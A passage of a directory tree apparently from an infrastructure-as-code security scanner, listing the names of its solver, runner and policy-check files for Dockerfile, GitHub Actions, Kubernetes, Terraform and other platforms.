length_greater_than_or_equal_attribute_solver.py │ │ │ │ ├── length_less_than_attribute_solver.py │ │ │ │ ├── length_less_than_or_equal_attribute_solver.py │ │ │ │ ├── length_not_equals_attribute_solver.py │ │ │ │ ├── less_than_attribute_solver.py │ │ │ │ ├── less_than_or_equal_attribute_solver.py │ │ │ │ ├── not_contains_attribute_solver.py │ │ │ │ ├── not_ending_with_attribute_solver.py │ │ │ │ ├── not_equals_attribute_solver.py │ │ │ │ ├── not_equals_ignore_case_attribute_solver.py │ │ │ │ ├── not_exists_attribute_solver.py │ │ │ │ ├── not_intersects_attribute_solver.py │ │ │ │ ├── not_regex_match_attribute_solver.py │ │ │ │ ├── not_starting_with_attribute_solver.py │ │ │ │ ├── not_subset_attribute_solver.py │ │ │ │ ├── not_within_attribute_solver.py │ │ │ │ ├── number_of_words_equals_attribute_solver.py │ │ │ │ ├── number_of_words_greater_than_attribute_solver.py │ │ │ │ ├── number_of_words_greater_than_or_equal_attribute_solver.py │ │ │ │ ├── number_of_words_less_than_attribute_solver.py │ │ │ │ ├── number_of_words_less_than_or_equal_attribute_solver.py │ │ │ │ ├── number_of_words_not_equals_attribute_solver.py │ │ │ │ ├── range_includes_attribute_solver.py │ │ │ │ ├── range_not_includes_attribute_solver.py │ │ │ │ ├── regex_match_attribute_solver.py │ │ │ │ ├── starting_with_attribute_solver.py │ │ │ │ ├── subset_attribute_solver.py │ │ │ │ └── within_attribute_solver.py │ │ │ ├── complex_solvers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── and_solver.py │ │ │ │ ├── base_complex_solver.py │ │ │ │ ├── not_solver.py │ │ │ │ └── or_solver.py │ │ │ ├── connections_solvers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── and_connection_solver.py │ │ │ │ ├── base_connection_solver.py │ │ │ │ ├── complex_connection_solver.py │ │ │ │ ├── connection_exists_solver.py │ │ │ │ ├── connection_not_exists_solver.py │ │ │ │ ├── connection_one_exists_solver.py │ │ │ │ └── or_connection_solver.py │ │ │ ├── filter_solvers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_filter_solver.py │ │ │ │ └── within_filter_solver.py │ │ │ └── resource_solvers/ │ │ │ ├── __init__.py │ │ │ ├── base_resource_solver.py │ │ │ ├── exists_resource_solver.py │ │ │ └── not_exists_resource_solver.py │ │ ├── comment/ │ │ │ ├── __init__.py │ │ │ └── enum.py │ │ ├── goget/ │ │ │ ├── __init__.py │ │ │ ├── base_getter.py │ │ │ ├── github/ │ │ │ │ ├── __init__.py │ │ │ │ └── get_git.py │ │ │ └── registry/ │ │ │ ├── __init__.py │ │ │ └── get_registry.py │ │ ├── graph/ │ │ │ ├── __init__.py │ │ │ ├── checks_infra/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_check.py │ │ │ │ ├── base_parser.py │ │ │ │ ├── debug.py │ │ │ │ ├── enums.py │ │ │ │ ├── registry.py │ │ │ │ └── solvers/ │ │ │ │ ├── __init__.py │ │ │ │ └── base_solver.py │ │ │ ├── db_connectors/ │ │ │ │ ├── __init__.py │ │ │ │ ├── db_connector.py │ │ │ │ ├── networkx/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── networkx_db_connector.py │ │ │ │ └── rustworkx/ │ │ │ │ ├── __init__.py │ │ │ │ └── rustworkx_db_connector.py │ │ │ ├── graph_builder/ │ │ │ │ ├── __init__.py │ │ │ │ ├── consts.py │ │ │ │ ├── graph_components/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── attribute_names.py │ │ │ │ │ ├── block_types.py │ │ │ │ │ ├── blocks.py │ │ │ │ │ ├── edge.py │ │ │ │ │ └── generic_resource_encryption_base.py │ │ │ │ ├── graph_resources_encription_manager.py │ │ │ │ ├── local_graph.py │ │ │ │ ├── utils.py │ │ │ │ └── variable_rendering/ │ │ │ │ ├── __init__.py │ │ │ │ ├── breadcrumb_metadata.py │ │ │ │ ├── renderer.py │ │ │ │ └── vertex_reference.py │ │ │ └── graph_manager.py │ │ ├── images/ │ │ │ ├── __init__.py │ │ │ ├── graph/ │ │ │ │ ├── __init__.py │ │ │ │ ├── image_referencer_manager.py │ │ │ │ └── image_referencer_provider.py │ │ │ ├── image_referencer.py │ │ │ └── workflow/ │ │ │ ├── __init__.py │ │ │ ├── image_referencer_manager.py │ │ │ └── image_referencer_provider.py │ │ ├── logger_streams.py │ │ ├── models/ │ │ │ ├── __init__.py │ │ │ ├── consts.py │ │ │ └── enums.py │ │ ├── output/ │ │ │ ├── __init__.py │ │ │ ├── baseline.py │ │ │ ├── common.py │ │ │ ├── csv.py │ │ │ ├── cyclonedx.py │ │ │ ├── cyclonedx_consts.py │ │ │ ├── extra_resource.py │ │ │ ├── github_actions_record.py │ │ │ ├── gitlab_sast.py │ │ │ ├── graph_record.py │ │ │ ├── record.py │ │ │ ├── report.py │ │ │ ├── sarif.py │ │ │ ├── secrets_record.py │ │ │ └── spdx.py │ │ ├── packaging/ │ │ │ ├── __init__.py │ │ │ └── version.py │ │ ├── parallelizer/ │ │ │ ├── __init__.py │ │ │ └── parallel_runner.py │ │ ├── parsers/ │ │ │ ├── __init__.py │ │ │ ├── json/ │ │ │ │ ├── __init__.py │ │ │ │ ├── decoder.py │ │ │ │ └── errors.py │ │ │ ├── node.py │ │ │ └── yaml/ │ │ │ ├── __init__.py │ │ │ ├── loader.py │ │ │ └── parser.py │ │ ├── proxy/ │ │ │ ├── __init__.py │ │ │ └── proxy_client.py │ │ ├── resource_code_logger_filter.py │ │ ├── runners/ │ │ │ ├── __init__.py │ │ │ ├── base_post_runner.py │ │ │ ├── base_runner.py │ │ │ ├── graph_builder/ │ │ │ │ ├── __init__.py │ │ │ │ └── local_graph.py │ │ │ ├── graph_manager.py │ │ │ ├── object_runner.py │ │ │ └── runner_registry.py │ │ ├── sast/ │ │ │ ├── __init__.py │ │ │ ├── consts.py │ │ │ └── report_types.py │ │ ├── sca/ │ │ │ ├── __init__.py │ │ │ ├── commons.py │ │ │ ├── consts.py │ │ │ ├── output.py │ │ │ └── reachability/ │ │ │ ├── __init__.py │ │ │ ├── package_alias_mapping/ │ │ │ │ ├── __init__.py │ │ │ │ ├── abstract_alias_mapping_strategy.py │ │ │ │ ├── alias_mapping_creator.py │ │ │ │ └── nodejs/ │ │ │ │ ├── __init__.py │ │ │ │ ├── nodejs_alias_mapping_strategy.py │ │ │ │ └── utils.py │ │ │ └── sast_contract/ │ │ │ ├── __init__.py │ │ │ ├── data_fetcher_sast_lib.py │ │ │ └── models.py │ │ ├── secrets/ │ │ │ ├── __init__.py │ │ │ └── consts.py │ │ ├── typing.py │ │ ├── util/ │ │ │ ├── __init__.py │ │ │ ├── banner.py │ │ │ ├── config_utils.py │ │ │ ├── consts.py │ │ │ ├── contextmanagers.py │ │ │ ├── data_structures_utils.py │ │ │ ├── decorators.py │ │ │ ├── deep_merge.py │ │ │ ├── dockerfile.py │ │ │ ├── env_vars_config.py │ │ │ ├── ext_argument_parser.py │ │ │ ├── file_utils.py │ │ │ ├── http_utils.py │ │ │ ├── json_utils.py │ │ │ ├── oidc_utils.py │ │ │ ├── parser_utils.py │ │ │ ├── prompt.py │ │ │ ├── runner_dependency_handler.py │ │ │ ├── secrets.py │ │ │ ├── secrets_omitter.py │ │ │ ├── stopit/ │ │ │ │ ├── __init__.py │ │ │ │ ├── signalstop.py │ │ │ │ ├── threadstop.py │ │ │ │ └── utils.py │ │ │ ├── str_utils.py │ │ │ ├── suppression.py │ │ │ ├── templates/ │ │ │ │ ├── __init__.py │ │ │ │ ├── data.jinja2 │ │ │ │ ├── init.jinja2 │ │ │ │ ├── provider.jinja2 │ │ │ │ ├── resource.jinja2 │ │ │ │ ├── unittest-python.jinja2 │ │ │ │ └── unittest-terraform.jinja2 │ │ │ ├── tqdm_utils.py │ │ │ ├── type_forcers.py │ │ │ ├── update_checker/ │ │ │ │ ├── __init__.py │ │ │ │ └── update_checker.py │ │ │ └── var_utils.py │ │ ├── variables/ │ │ │ ├── __init__.py │ │ │ └── context.py │ │ ├── vcs/ │ │ │ ├── __init__.py │ │ │ ├── base_vcs_dal.py │ │ │ └── vcs_schema.py │ │ └── version_manager.py │ ├── contributor_metrics.py │ ├── dockerfile/ │ │ ├── __init__.py │ │ ├── base_dockerfile_check.py │ │ ├── base_registry.py │ │ ├── checks/ │ │ │ ├── AddExists.py │ │ │ ├── AliasIsUnique.py │ │ │ ├── ExposePort22.py │ │ │ ├── HealthcheckExists.py │ │ │ ├── MaintainerExists.py │ │ │ ├── ReferenceLatestTag.py │ │ │ ├── RootUser.py │ │ │ ├── RunUsingAPT.py │ │ │ ├── UpdateNotAlone.py │ │ │ ├── UserExists.py │ │ │ ├── WorkdirIsAbsolute.py │ │ │ ├── __init__.py │ │ │ └── graph_checks/ │ │ │ ├── EnvGitSslNoVerify.yaml │ │ │ ├── EnvNodeTlsRejectUnauthorized.yaml │ │ │ ├── EnvNpmConfigStrictSsl.yaml │ │ │ ├── EnvPipTrustedHost.yaml │ │ │ ├── EnvPythonHttpsVerify.yaml │ │ │ ├── RunApkAllowUntrusted.yaml │ │ │ ├── RunAptGetAllowUnauthenticated.yaml │ │ │ ├── RunAptGetForceYes.yaml │ │ │ ├── RunChpasswd.yaml │ │ │ ├── RunNpmConfigSetStrictSsl.yaml │ │ │ ├── RunPipTrustedHost.yaml │ │ │ ├── RunRpmNoSignature.yaml │ │ │ ├── RunUnsafeCurl.yaml │ │ │ ├── RunUnsafeWget.yaml │ │ │ ├── RunUsingSudo.yaml │ │ │ ├── RunYumConfigManagerSslVerify.yaml │ │ │ ├── RunYumNoGpgCheck.yaml │ │ │ └── __init__.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── graph_components/ │ │ │ │ ├── __init__.py │ │ │ │ └── resource_types.py │ │ │ └── local_graph.py │ │ ├── graph_manager.py │ │ ├── image_referencer/ │ │ │ ├── __init__.py │ │ │ ├── manager.py │ │ │ └── provider.py │ │ ├── parser.py │ │ ├── registry.py │ │ ├── runner.py │ │ └── utils.py │ ├── docs_generator.py │ ├── example_runner/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── base_example_runner_check.py │ │ │ ├── base_example_runner_job_check.py │ │ │ ├── job/ │ │ │ │ ├── ExampleCheckTrueFalse.py │ │ │ │ └── __init__.py │ │ │ └── job_registry.py │ │ ├── common/ │ │ │ └── __init__.py │ │ └── runner.py │ ├── github/ │ │ ├── __init__.py │ │ ├── base_github_branch_security.py │ │ ├── base_github_configuration_check.py │ │ ├── base_github_negative_branch_security.py │ │ ├── base_github_org_check.py │ │ ├── base_github_org_security.py │ │ ├── checks/ │ │ │ ├── 2fa.py │ │ │ ├── __init__.py │ │ │ ├── disallow_branch_deletions.py │ │ │ ├── disallow_force_pushes.py │ │ │ ├── disallow_inactive_branch_60days.py │ │ │ ├── dismiss_stale_reviews.py │ │ │ ├── enforce_branch_protection_admins.py │ │ │ ├── internal_repository_creation_is_limited.py │ │ │ ├── ipallowlist.py │ │ │ ├── minimum_admins_in_org.py │ │ │ ├── private_repository_creation_is_limited.py │ │ │ ├── public_repository_creation_is_limited.py │ │ │ ├── repository_collaborators.py │ │ │ ├── require_2approvals.py │ │ │ ├── require_code_owner_reviews.py │ │ │ ├── require_conversation_resolution.py │ │ │ ├── require_linear_history.py │ │ │ ├── require_push_restrictions.py │ │ │ ├── require_signatures.py │ │ │ ├── require_status_checks_pr.py │ │ │ ├── require_strict_base_permissions_repository.py │ │ │ ├── require_updated_branch_pr.py │ │ │ ├── require_verified_organization.py │ │ │ ├── restrict_pr_review_dismissal.py │ │ │ ├── sso.py │ │ │ ├── webhooks_https_orgs.py │ │ │ └── webhooks_https_repos.py │ │ ├── dal.py │ │ ├── registry.py │ │ ├── runner.py │ │ └── schemas/ │ │ ├── __init__.py │ │ ├── branch.py │ │ ├── branch_protection.py │ │ ├── no_branch_protection.py │ │ ├── org_members.py │ │ ├── org_security.py │ │ ├── org_webhooks.py │ │ ├── organization.py │ │ ├── repository_collaborators.py │ │ └── repository_webhooks.py │ ├── github_actions/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── base_github_action_check.py │ │ │ ├── graph_checks/ │ │ │ │ ├── ReadOnlyTopLevelPermissions.yaml │ │ │ │ └── __init__.py │ │ │ ├── job/ │ │ │ │ ├── AllowUnsecureCommandsOnJob.py │ │ │ │ ├── CosignArtifacts.py │ │ │ │ ├── CosignSBOM.py │ │ │ │ ├── EmptyWorkflowDispatch.py │ │ │ │ ├── ReverseShellNetcat.py │ │ │ │ ├── ShellInjection.py │ │ │ │ ├── SuspectCurlInScript.py │ │ │ │ └── __init__.py │ │ │ └── registry.py │ │ ├── common/ │ │ │ ├── __init__.py │ │ │ ├── artifact_build.py │ │ │ ├── build_actions.py │ │ │ └── shell_injection_list.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── graph_components/ │ │ │ │ ├── __init__.py │ │ │ │ └── resource_types.py │ │ │ └── local_graph.py │ │ ├── runner.py │ │ ├── schemas.py │ │ └── utils.py │ ├── gitlab/ │ │ ├── __init__.py │ │ ├── base_gitlab_configuration_check.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ └── merge_requests_approvals.py │ │ ├── dal.py │ │ ├── registry.py │ │ ├── runner.py │ │ └── schemas/ │ │ ├── __init__.py │ │ ├── groups.py │ │ └── project_approvals.py │ ├── gitlab_ci/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── base_gitlab_ci_check.py │ │ │ ├── job/ │ │ │ │ ├── AvoidDoublePipelines.py │ │ │ │ ├── DetectImagesUsage.py │ │ │ │ ├── SuspectCurlInScript.py │ │ │ │ └── __init__.py │ │ │ └── registry.py │ │ ├── common/ │ │ │ ├── __init__.py │ │ │ ├── reserved.py │ │ │ └── resource_id_utils.py │ │ └── runner.py │ ├── helm/ │ │ ├── __init__.py │ │ ├── base_registry.py │ │ ├── image_referencer/ │ │ │ ├── __init__.py │ │ │ ├── base_provider.py │ │ │ ├── manager.py │ │ │ └── provider/ │ │ │ ├── __init__.py │ │ │ └── helm.py │ │ ├── registry.py │ │ └── runner.py │ ├── json_doc/ │ │ ├── __init__.py │ │ ├── base_json_check.py │ │ ├── base_registry.py │ │ ├── enums.py │ │ ├── registry.py │ │ └── runner.py │ ├── kubernetes/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── graph_checks/ │ │ │ │ ├── ImpersonatePermissions.yaml │ │ │ │ ├── ModifyServicesStatus.yaml │ │ │ │ ├── NoCreateNodesProxyOrPodsExec.yaml │ │ │ │ ├── ReadAllSecrets.yaml │ │ │ │ ├── RequireAllPodsToHaveNetworkPolicy.yaml │ │ │ │ ├── RoleBindingPE.yaml │ │ │ │ └── __init__.py │ │ │ └── resource/ │ │ │ ├── __init__.py │ │ │ ├── base_container_check.py │ │ │ ├── base_rbac_check.py │ │ │ ├── base_registry.py │ │ │ ├── base_root_container_check.py │ │ │ ├── base_spec_check.py │ │ │ ├── base_spec_omitted_or_value_check.py │ │ │ ├── k8s/ │ │ │ │ ├── AllowPrivilegeEscalation.py │ │ │ │ ├── AllowPrivilegeEscalationPSP.py │ │ │ │ ├── AllowedCapabilities.py │ │ │ │ ├── AllowedCapabilitiesPSP.py │ │ │ │ ├── AllowedCapabilitiesSysAdmin.py │ │ │ │ ├── ApiServerAdmissionControlAlwaysAdmit.py │ │ │ │ ├── ApiServerAdmissionControlEventRateLimit.py │ │ │ │ ├── ApiServerAlwaysPullImagesPlugin.py │ │ │ │ ├── ApiServerAnonymousAuth.py │ │ │ │ ├── ApiServerAuditLog.py │ │ │ │ ├── ApiServerAuditLogMaxAge.py │ │ │ │ ├── ApiServerAuditLogMaxBackup.py │ │ │ │ ├── ApiServerAuditLogMaxSize.py │ │ │ │ ├── ApiServerAuthorizationModeNode.py │ │ │ │ ├── ApiServerAuthorizationModeNotAlwaysAllow.py │ │ │ │ ├── ApiServerAuthorizationModeRBAC.py │ │ │ │ ├── ApiServerBasicAuthFile.py │ │ │ │ ├── ApiServerEncryptionProviders.py │ │ │ │ ├── ApiServerEtcdCaFile.py │ │ │ │ ├── ApiServerEtcdCertAndKey.py │ │ │ │ ├── ApiServerInsecureBindAddress.py │ │ │ │ ├── ApiServerInsecurePort.py │ │ │ │ ├── ApiServerKubeletClientCertAndKey.py │ │ │ │ ├── ApiServerKubeletHttps.py │ │ │ │ ├── ApiServerNamespaceLifecyclePlugin.py │ │ │ │ ├── ApiServerNodeRestrictionPlugin.py │ │ │ │ ├── ApiServerPodSecurityPolicyPlugin.py │ │ │ │ ├── ApiServerProfiling.py │ │ │ │ ├── ApiServerRequestTimeout.py │ │ │ │ ├── ApiServerSecurePort.py │ │ │ │ ├── ApiServerSecurityContextDenyPlugin.py │ │ │ │ ├── ApiServerServiceAccountKeyFile.py │ │ │ │ ├── ApiServerServiceAccountLookup.py │ │ │ │ ├── ApiServerServiceAccountPlugin.py │ │ │ │ ├── ApiServerStrongCryptographicCiphers.py │ │ │ │ ├── ApiServerTlsCertAndKey.py │ │ │ │ ├── ApiServerTokenAuthFile.py │ │ │ │ ├── ApiServerkubeletCertificateAuthority.py │ │ │ │ ├── CPULimits.py │ │ │ │ ├── CPURequests.py │ │ │ │ ├── ContainerSecurityContext.py │ │ │ │ ├── ControllerManagerBindAddress.py │ │ │ │ ├── DangerousGitSync.py │ │ │ │ ├── DefaultNamespace.py │ │ │ │ ├── DefaultServiceAccount.py │ │ │ │ ├── DefaultServiceAccountBinding.py │ │ │ │ ├── DockerSocketVolume.py │ │ │ │ ├── DropCapabilities.py │ │ │ │ ├── DropCapabilitiesPSP.py │ │ │ │ ├── EtcdAutoTls.py │ │ │ │ ├── EtcdCertAndKey.py │ │ │ │ ├── EtcdClientCertAuth.py │ │ │ │ ├── EtcdPeerFiles.py │ │ │ │ ├── HostPort.py │ │ │ │ ├── ImageDigest.py │ │ │ │ ├── ImagePullPolicyAlways.py │ │ │ │ ├── ImageTagFixed.py │ │ │ │ ├── KubeControllerManagerBlockProfiles.py │ │ │ │ ├── KubeControllerManagerRootCAFile.py │ │ │ │ ├── KubeControllerManagerServiceAccountCredentials.py │ │ │ │ ├── KubeControllerManagerServiceAccountPrivateKeyFile.py │ │ │ │ ├── KubeControllerManagerTerminatedPods.py │ │ │ │ ├── KubeletAnonymousAuth.py │ │ │ │ ├── KubeletAuthorizationModeNotAlwaysAllow.py │ │ │ │ ├── KubeletClientCa.py │ │ │ │ ├── KubeletCryptographicCiphers.py │ │ │ │ ├── KubeletHostnameOverride.py │ │ │ │ ├── KubeletKeyFilesSetAppropriate.py │ │ │ │ ├── KubeletMakeIptablesUtilChains.py │ │ │ │ ├── KubeletProtectKernelDefaults.py │ │ │ │ ├── KubeletReadOnlyPort.py │ │ │ │ ├── KubeletStreamingConnectionIdleTimeout.py │ │ │ │ ├── KubernetesDashboard.py │ │ │ │ ├── KubletEventCapture.py │ │ │ │ ├── KubletRotateCertificates.py │ │ │ │ ├── LivenessProbe.py │ │ │ │ ├── MemoryLimits.py │ │ │ │ ├── MemoryRequests.py │ │ │ │ ├── MinimizeCapabilities.py │ │ │ │ ├── MinimizeCapabilitiesPSP.py │ │ │ │ ├── NginxIngressCVE202125742Alias.py │ │ │ │ ├── NginxIngressCVE202125742AllSnippets.py │ │ │ │ ├── NginxIngressCVE202125742Lua.py │ │ │ │ ├── PeerClientCertAuthTrue.py │ │ │ │ ├── PodSecurityContext.py │ │ │ │ ├── PrivilegedContainers.py │ │ │ │ ├── PrivilegedContainersPSP.py │ │ │ │ ├── RbacApproveCertificateSigningRequests.py │ │ │ │ ├── RbacBindRoleBindings.py │ │ │ │ ├── RbacControlWebhooks.py │ │ │ │ ├── RbacEscalateRoles.py │ │ │ │ ├── ReadOnlyFilesystem.py │ │ │ │ ├── ReadinessProbe.py │ │ │ │ ├── RootContainers.py │ │ │ │ ├── RootContainersHighUID.py │ │ │ │ ├── RootContainersPSP.py │ │ │ │ ├── RotateKubeletServerCertificate.py │ │ │ │ ├── SchedulerBindAddress.py │ │ │ │ ├── SchedulerProfiling.py │ │ │ │ ├── Seccomp.py │ │ │ │ ├── SeccompPSP.py │ │ │ │ ├── Secrets.py │ │ │ │ ├── ServiceAccountTokens.py │ │ │ │ ├── ShareHostIPC.py │ │ │ │ ├── ShareHostIPCPSP.py │ │ │ │ ├── ShareHostPID.py │ │ │ │ ├── ShareHostPIDPSP.py │ │ │ │ ├── SharedHostNetworkNamespace.py │ │ │ │ ├── SharedHostNetworkNamespacePSP.py │ │ │ │ ├── Tiller.py │ │ │ │ ├── TillerDeploymentListener.py │ │ │ │ ├── TillerService.py │ │ │ │ ├── WildcardRoles.py │ │ │ │ ├── __init__.py │ │ │ │ └── k8s_check_utils.py │ │ │ └── registry.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── graph_components/ │ │ │ │ ├── ResourceKeywordIdentifier.py │ │ │ │ ├── __init__.py │ │ │ │ ├── blocks.py │ │ │ │ └── edge_builders/ │ │ │ │ ├── K8SEdgeBuilder.py │ │ │ │ ├── KeywordEdgeBuilder.py │ │ │ │ ├── LabelSelectorEdgeBuilder.py │ │ │ │ ├── NetworkPolicyEdgeBuilder.py │ │ │ │ ├── ServiceAccountEdgeBuilder.py │ │ │ │ └── __init__.py │ │ │ └── local_graph.py │ │ ├── graph_manager.py │ │ ├── image_referencer/ │ │ │ ├── __init__.py │ │ │ ├── base_provider.py │ │ │ ├── manager.py │ │ │ └── provider/ │ │ │ ├── __init__.py │ │ │ └── k8s.py │ │ ├── kubernetes_graph_flags.py │ │ ├── kubernetes_utils.py │ │ ├── parser/ │ │ │ ├── __init__.py │ │ │ ├── k8_json.py │ │ │ ├── k8_yaml.py │ │ │ ├── parser.py │ │ │ └── validatior.py │ │ ├── runner.py │ │ └── test/ │ │ └── share-process-namespace.yaml │ ├── kustomize/ │ │ ├── __init__.py │ │ ├── image_referencer/ │ │ │ ├── __init__.py │ │ │ ├── base_provider.py │ │ │ ├── manager.py │ │ │ └── provider/ │ │ │ ├── __init__.py │ │ │ └── kustomize.py │ │ ├── runner.py │ │ └── utils.py │ ├── logging_init.py │ ├── main.py │ ├── openapi/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── base_openapi_check.py │ │ │ ├── base_registry.py │ │ │ ├── registry.py │ │ │ └── resource/ │ │ │ ├── __init__.py │ │ │ ├── generic/ │ │ │ │ ├── ClearTextAPIKey.py │ │ │ │ ├── GlobalSecurityFieldIsEmpty.py │ │ │ │ ├── NoMaximumNumberItems.py │ │ │ │ ├── SecurityOperations.py │ │ │ │ └── __init__.py │ │ │ ├── v2/ │ │ │ │ ├── BaseOpenapiCheckV2.py │ │ │ │ ├── GlobalSchemeDefineHTTP.py │ │ │ │ ├── GlobalSecurityScopeUndefined.py │ │ │ │ ├── Oauth2OperationObjectPasswordFlow.py │ │ │ │ ├── Oauth2SecurityDefinitionImplicitFlow.py │ │ │ │ ├── Oauth2SecurityDefinitionPasswordFlow.py │ │ │ │ ├── Oauth2SecurityPasswordFlow.py │ │ │ │ ├── Oauth2SecurityRequirement.py │ │ │ │ ├── OperationObjectBasicAuth.py │ │ │ │ ├── OperationObjectConsumesUndefined.py │ │ │ │ ├── OperationObjectImplicitFlow.py │ │ │ │ ├── OperationObjectProducesUndefined.py │ │ │ │ ├── OperationObjectSecurityScopeUndefined.py │ │ │ │ ├── PathSchemeDefineHTTP.py │ │ │ │ ├── SecurityDefinitionBasicAuth.py │ │ │ │ ├── SecurityDefinitions.py │ │ │ │ ├── SecurityRequirement.py │ │ │ │ └── __init__.py │ │ │ └── v3/ │ │ │ ├── BaseOpenapiCheckV3.py │ │ │ ├── CleartextOverUnencryptedChannel.py │ │ │ └── __init__.py │ │ └── runner.py │ ├── policies_3d/ │ │ ├── __init__.py │ │ ├── checks_infra/ │ │ │ ├── __init__.py │ │ │ ├── base_check.py │ │ │ └── base_parser.py │ │ ├── checks_parser.py │ │ ├── output.py │ │ ├── record.py │ │ ├── runner.py │ │ └── syntax/ │ │ ├── __init__.py │ │ ├── cves_syntax.py │ │ ├── iac_syntax.py │ │ ├── secrets_syntax.py │ │ └── syntax.py │ ├── py.typed │ ├── runner_filter.py │ ├── sast/ │ │ ├── __init__.py │ │ ├── checks_infra/ │ │ │ ├── __init__.py │ │ │ ├── base_check.py │ │ │ ├── base_registry.py │ │ │ └── registry.py │ │ ├── common.py │ │ ├── engines/ │ │ │ ├── __init__.py │ │ │ ├── base_engine.py │ │ │ ├── files_filter_manager.py │ │ │ └── prisma_engine.py │ │ ├── prisma_models/ │ │ │ ├── __init__.py │ │ │ ├── library_input.py │ │ │ └── policies_list.py │ │ ├── record.py │ │ ├── report.py │ │ └── runner.py │ ├── sca_image/ │ │ ├── __init__.py │ │ ├── models.py │ │ └── runner.py │ ├── sca_package_2/ │ │ ├── __init__.py │ │ ├── output.py │ │ ├── runner.py │ │ └── scanner.py │ ├── secrets/ │ │ ├── __init__.py │ │ ├── context_parser.py │ │ ├── coordinator.py │ │ ├── git_history_store.py │ │ ├── git_types.py │ │ ├── local_secrets_runner.py │ │ ├── log_prefix_stripper.py │ │ ├── parsers/ │ │ │ ├── __init__.py │ │ │ ├── json/ │ │ │ │ ├── __init__.py │ │ │ │ └── multiline_parser.py │ │ │ ├── multiline_parser.py │ │ │ ├── single_line_parser.py │ │ │ ├── terraform/ │ │ │ │ ├── __init__.py │ │ │ │ ├── multiline_parser.py │ │ │ │ └── single_line_parser.py │ │ │ └── yaml/ │ │ │ ├── __init__.py │ │ │ └── multiline_parser.py │ │ ├── plugins/ │ │ │ ├── __init__.py │ │ │ ├── custom_regex_detector.py │ │ │ ├── detector_utils.py │ │ │ ├── entropy_keyword_combinator.py │ │ │ └── load_detectors.py │ │ ├── runner.py │ │ ├── scan_git_history.py │ │ └── utils.py │ ├── serverless/ │ │ ├── __init__.py │ │ ├── base_registry.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── base_function_check.py │ │ │ ├── complete/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_complete_check.py │ │ │ │ └── registry.py │ │ │ ├── custom/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_custom_check.py │ │ │ │ └── registry.py │ │ │ ├── function/ │ │ │ │ ├── __init__.py │ │ │ │ ├── aws/ │ │ │ │ │ ├── AWSCredentials.py │ │ │ │ │ ├── AdminPolicyDocument.py │ │ │ │ │ ├── StarActionPolicyDocument.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── base_function_check.py │ │ │ │ └── registry.py │ │ │ ├── layer/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_layer_check.py │ │ │ │ └── registry.py │ │ │ ├── package/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_package_check.py │ │ │ │ └── registry.py │ │ │ ├── plugin/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_plugin_check.py │ │ │ │ └── registry.py │ │ │ ├── provider/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_provider_check.py │ │ │ │ └── registry.py │ │ │ └── service/ │ │ │ ├── __init__.py │ │ │ ├── base_service_check.py │ │ │ └── registry.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── definition_context.py │ │ │ ├── graph_components/ │ │ │ │ ├── __init__.py │ │ │ │ └── blocks.py │ │ │ ├── graph_to_definitions.py │ │ │ └── local_graph.py │ │ ├── graph_manager.py │ │ ├── parsers/ │ │ │ ├── __init__.py │ │ │ ├── context_parser.py │ │ │ └── parser.py │ │ ├── registry.py │ │ ├── runner.py │ │ └── utils.py │ ├── terraform/ │ │ ├── __init__.py │ │ ├── base_runner.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── data/ │ │ │ │ ├── __init__.py │ │ │ │ ├── aws/ │ │ │ │ │ ├── AdminPolicyDocument.py │ │ │ │ │ ├── GithubActionsOIDCTrustPolicy.py │ │ │ │ │ ├── IAMCredentialsExposure.py │ │ │ │ │ ├── IAMDataExfiltration.py │ │ │ │ │ ├── IAMManagedAdminPolicy.py │ │ │ │ │ ├── IAMPermissionsManagement.py │ │ │ │ │ ├── IAMPrivilegeEscalation.py │ │ │ │ │ ├── IAMPublicActionsPolicy.py │ │ │ │ │ ├── IAMWriteAccess.py │ │ │ │ │ ├── ResourcePolicyDocument.py │ │ │ │ │ ├── StarActionPolicyDocument.py │ │ │ │ │ ├── WhoAMI.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── base_check.py │ │ │ │ ├── base_cloudsplaining_data_iam_check.py │ │ │ │ ├── base_registry.py │ │ │ │ ├── external/ │ │ │ │ │ └── __init__.py │ │ │ │ ├── gcp/ │ │ │ │ │ ├── GooglePolicyIsPrivate.py │ │ │ │ │ └── __init__.py │ │ │ │ └── registry.py │ │ │ ├── graph_checks/ │ │ │ │ ├── __init__.py │ │ │ │ ├── alicloud/ │ │ │ │ │ └── OSSBucketPublic.yaml │ │ │ │ ├── aws/ │ │ │ │ │ ├── ACMWildcardDomainName.yaml │ │ │ │ │ ├── ALBProtectedByWAF.yaml │ │ │ │ │ ├── ALBRedirectsHTTPToHTTPS.yaml │ │ │ │ │ ├── ALBWebACLConfiguredWIthLog4jVulnerability.yaml │ │ │ │ │ ├── AMRClustersNotOpenToInternet.yaml │ │ │ │ │ ├── APIGWLoggingLevelsDefinedProperly.yaml │ │ │ │ │ ├── APIGatewayEndpointsUsesCertificateForAuthentication.yaml │ │ │ │ │ ├── APIGatewayRequestParameterValidationEnabled.yaml │ │ │ │ │ ├── 